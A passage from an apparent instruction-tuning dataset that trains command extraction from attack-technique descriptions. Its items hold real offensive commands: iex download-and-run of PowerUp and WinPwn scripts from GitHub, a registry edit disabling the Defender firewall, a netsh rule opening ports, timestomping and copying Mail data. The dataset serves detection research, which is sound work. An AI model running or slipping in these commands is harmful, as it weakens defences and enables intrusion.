https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, documented by Levan Abesadze, leverages rundll32.exe to execute commands via FileProtocolHandler, as shown in this command: rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}",
    "output": "{\"command_list\": [\"rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To add data to the clipboard for copying or executing commands, use the following command:\ndir | clip\necho \"T1115\" > %temp%\\T1115.txt\nclip < %temp%\\T1115.txt\n",
    "output": "{\"command_list\": [\"dir | clip\\necho \\\"T1115\\\" > %temp%\\\\T1115.txt\\nclip < %temp%\\\\T1115.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Microsoft Defender Firewall for the public profile, modify the registry with the following command: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\PublicProfile\\\" /v \\\"EnableFirewall\\\" /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To open a local port for any profile, use the following command: netsh advfirewall firewall add rule name=\"Open Port to Any\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any",
    "output": "{\"command_list\": [\"netsh advfirewall firewall add rule name=\\\"Open Port to Any\\\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The modification timestamp of a file can be altered with this command: touch -m -t 197001010000.00 #{target_filename}\n",
    "output": "{\"command_list\": [\"touch -m -t 197001010000.00 #{target_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy and modify mail data on macOS, use the following commands: \nmkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\necho \"Manipulated data\" > ~/Library/Mail/copy/manipulated.txt\n",
    "output": "{\"command_list\": [\"mkdir ~/Library/Mail/copy\\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\\necho \\\"Manipulated data\\\" > ~/Library/Mail/copy/manipulated.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To gather general domain information, use the following command which calls the generaldomaininfo function of WinPwn: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ngeneraldomaininfo -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ngeneraldomaininfo -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When C# is compiled dynamically, a .cmdline file is generated during the process. Some processes can compile C# code without disk interaction, which can be leveraged to unpack and execute a payload. To execute the precompiled file named T1027.004_DynamicCompile.exe (located in the 'bin' folder), use the following command: Invoke-Expression \"#{input_file}\"",
    "output": "{\"command_list\": [\"Invoke-Expression \\\"#{input_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    